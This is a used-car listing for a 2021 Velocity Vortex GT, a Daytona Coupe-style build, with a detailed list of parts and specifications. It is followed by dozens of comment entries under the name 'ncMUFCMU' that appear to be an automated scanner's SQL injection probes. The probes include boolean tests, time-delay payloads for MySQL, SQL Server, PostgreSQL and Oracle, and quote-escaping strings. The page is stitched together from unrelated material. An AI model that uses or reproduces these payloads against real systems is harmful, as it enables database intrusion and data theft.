Description
Introducing the 2021 Velocity Vortex GT, a masterpiece in automotive engineering, featuring a stunning white exterior and a sleek black interior.
- Transmission enthusiasts will be delighted by the 6-speed manual gearbox, offering a direct connection to the road. The odometer proudly displays just around 900 miles, a testament to the care this vehicle has received.
- Our recent review by automotive expert Alanis King of Cars & Bids, which can be found in the video below, highlights the incredible features of the Velocity Vortex GT.
- Notable equipment includes state-of-the-art Hotchkiss electronic coilovers, Ridetech triple adjustable shocks, high-performance Willwood brakes, 19-inch Forgeline wheels, a carbon fiber wing, racing seats and harnesses by Racetech, and more, as elaborated below.
- The Velocity Vortex GT pays homage to the legendary Shelby Daytona Coupe, renowned for its 1960s racing successes. This modern interpretation seamlessly combines classic aesthetics with cutting-edge performance and safety features, making it an exceptional choice for enthusiasts looking for a car that’s equally at home on the track and the street.
- The heart of this beast is a 5.2-liter V8 engine, purportedly delivering a robust 600 horsepower, although a dyno sheet is not included to verify this claim. The power is efficiently routed to the rear wheels through a responsive 6-speed manual transmission.
Engine and Transmission:
- 5.2-Liter V8 Aluminator Ford Racing crate engine
Borla 8-stack throttle body kit - Factory Five Racing headers and side pipes
- Holley Dominator EFI ECU with Coyote TI-VCT control module
- Aviaid 4 port dry sump system
- Tremec T56 6-Speed manual transmission
- KNR transmission cooler
- Quick Time bell housing with McLeod RST twin-disc clutch
Mechanical:
- Fuel Safe 22-gallon fuel cell
- Ron Davis 4-core radiator
- Ultra Pro oil cooler with fan pack on transmission and differential
- Power-assisted rack and pinion steering
- KRC power steering cooler
- KRC steering pump
Electrical:
- Braille ML30C MicroLite carbon lithium battery
- Racepak Vantage CL2
- Racepak IQ3 dash
- Racepak smart wire power distribution module
- Rugged Radio intercoms and headsets with Bluetooth
- LeadNav navigation system (track and street)
Wheels, Suspension, and Brakes:
- 19-inch by 10-inch Forgeline RS6-SS (Front)
- 19-inch by 12-inch Forgeline RS6-SS (Rear)
- Independent double-arm front suspension
- IRS with 3:55 gears and 4-link in the rear
- Ridetech triple adjustable shocks
- Hotchkiss electronic coilovers
- Wilwood 6-piston front calipers
- Wilwood 4-piston rear calipers with E-brake
- 14-inch front and rear rotors
- Allstar Performance air jacks at each wheel
Exterior:
- R nose with splitter
- Canards
- Carbon fiber aero scoops
- Carbon fiber rear wing
- Plexiglas windows
- Race decals
Interior:
- Racetech seats
- Racetech 5-point harnesses
- Racetech door pulls
- Racetech vintage dish steering wheel
- Woodward collapsible steering column
- Woodward quick disconnect
- Fresh air helmet pumper system
- Alcantara dash and console
- Suede headliner
ncMUFCMU ncMUFCMU –
1
ncMUFCMU ncMUFCMU –
555
ncMUFCMU ncMUFCMU –
555YKxuiYWF
ncMUFCMU ncMUFCMU –
555*1
ncMUFCMU ncMUFCMU –
555*868*863*0
ncMUFCMU ncMUFCMU –
555+873-868-5
ncMUFCMU ncMUFCMU –
555*588*583*0
ncMUFCMU ncMUFCMU –
555+593-588-5
ncMUFCMU ncMUFCMU –
555*894*889*0
ncMUFCMU ncMUFCMU –
555+899-894-5
ncMUFCMU ncMUFCMU –
-1 OR 5*5=25 —
ncMUFCMU ncMUFCMU –
-1 OR 5*5=26 —
ncMUFCMU ncMUFCMU –
-1 OR 5*5=25
ncMUFCMU ncMUFCMU –
-1 OR 5*5=26
ncMUFCMU ncMUFCMU –
555*if(now()=sysdate(),sleep(15),0)
ncMUFCMU ncMUFCMU –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
ncMUFCMU ncMUFCMU –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
ncMUFCMU ncMUFCMU –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
ncMUFCMU ncMUFCMU –
555-1; waitfor delay ‘0:0:15’ —
ncMUFCMU ncMUFCMU –
555-1); waitfor delay ‘0:0:15’ —
ncMUFCMU ncMUFCMU –
555-1 waitfor delay ‘0:0:15’ —
ncMUFCMU ncMUFCMU –
5554PGUOQW9′; waitfor delay ‘0:0:15’ —
ncMUFCMU ncMUFCMU –
555-1 OR 867=(SELECT 867 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555-1) OR 15=(SELECT 15 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555-1)) OR 844=(SELECT 844 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555OFz96MAL’ OR 180=(SELECT 180 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555FvERWrWk’) OR 522=(SELECT 522 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555gPsGAVmo’)) OR 731=(SELECT 731 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ncMUFCMU ncMUFCMU –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
ncMUFCMU ncMUFCMU –
555′”
ncMUFCMU ncMUFCMU –
555%2527%2522\’\”
ncMUFCMU ncMUFCMU –
@@AsW9N
ncMUFCMU ncMUFCMU –
(select 198766*667891)
ncMUFCMU ncMUFCMU –
(select 198766*667891 from DUAL)
ncMUFCMU ncMUFCMU –
555ucPXHbzZ
ncMUFCMU ncMUFCMU –
555*244*239*0
ncMUFCMU ncMUFCMU –
555+249-244-5
ncMUFCMU ncMUFCMU –
555*139*134*0
ncMUFCMU ncMUFCMU –
555+144-139-5
ncMUFCMU ncMUFCMU –
555*379*374*0
ncMUFCMU ncMUFCMU –
555+384-379-5
ncMUFCMU ncMUFCMU –
555*168*163*0
ncMUFCMU ncMUFCMU –
555+173-168-5
ncMUFCMU ncMUFCMU –
555iurRoJkD’; waitfor delay ‘0:0:15’ —
ncMUFCMU ncMUFCMU –
555-1 OR 737=(SELECT 737 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555-1) OR 535=(SELECT 535 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555-1)) OR 372=(SELECT 372 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555mpGUse6u’ OR 28=(SELECT 28 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555aroiD1ux’) OR 694=(SELECT 694 FROM PG_SLEEP(15))–
ncMUFCMU ncMUFCMU –
555lbzX3pyx’)) OR 627=(SELECT 627 FROM PG_SLEEP(15))–